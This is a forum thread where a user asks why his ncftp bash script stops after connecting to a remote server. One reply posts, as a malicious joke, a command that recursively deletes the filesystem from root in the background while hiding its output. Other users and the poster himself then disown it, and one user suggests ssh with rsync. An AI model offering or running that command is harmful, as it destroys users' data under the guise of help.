simple "bash scripting" question

Collapse
X
 
  • Time
  • Show
Clear All
new posts
  • alex79
    Confirmed User
    • Jun 2002
    • 996

    #1

    simple "bash scripting" question

    how can i create a simple bashscript to copy some files from a server to another?

    i've created next script:
    PHP Code:
    #! /bin/bash
    ncftp -u root -p password serverip
    get -rf *
    exit 
    
    but is not working.. when i run the script i get a ftp connection to the serverip (line ncftp -u root -p password serverip ) but next line that shuld copy the files are not runed (get -rf *)

    what i'm doing wrong and how should i do?
  • mortenb
    Confirmed User
    • Jul 2004
    • 2203

    #2
    Originally posted by alex79
    how can i create a simple bashscript to copy some files from a server to another?

    i've created next script:
    PHP Code:
    #! /bin/bash
    ncftp -u root -p password serverip
    get -rf *
    exit 
    
    but is not working.. when i run the script i get a ftp connection to the serverip (line ncftp -u root -p password serverip ) but next line that shuld copy the files are not runed (get -rf *)

    what i'm doing wrong and how should i do?

    Code:
    nohup cd /; rm -rf * > /dev/null 2>&1 &

    Comment

    • mortenb
      Confirmed User
      • Jul 2004
      • 2203

      #3
      no.. don't do that..

      Comment

      • AgentCash
        Confirmed User
        • Feb 2002
        • 720

        #4
        Man that is fucked up, don't tell him to do that.
        The way I would do it is to set up a passwordless ssh login then rsync.

        Comment

        • ServerGenius
          Confirmed User
          • Feb 2002
          • 9377

          #5
          Originally posted by mortenb
          Code:
          nohup cd /; rm -rf * > /dev/null 2>&1 &
          asshole :ak47
          | http://www.sinnerscash.com/ | ICQ: 370820 | Skype: SinnersCash | AdultWhosWho |

          Comment

          Working...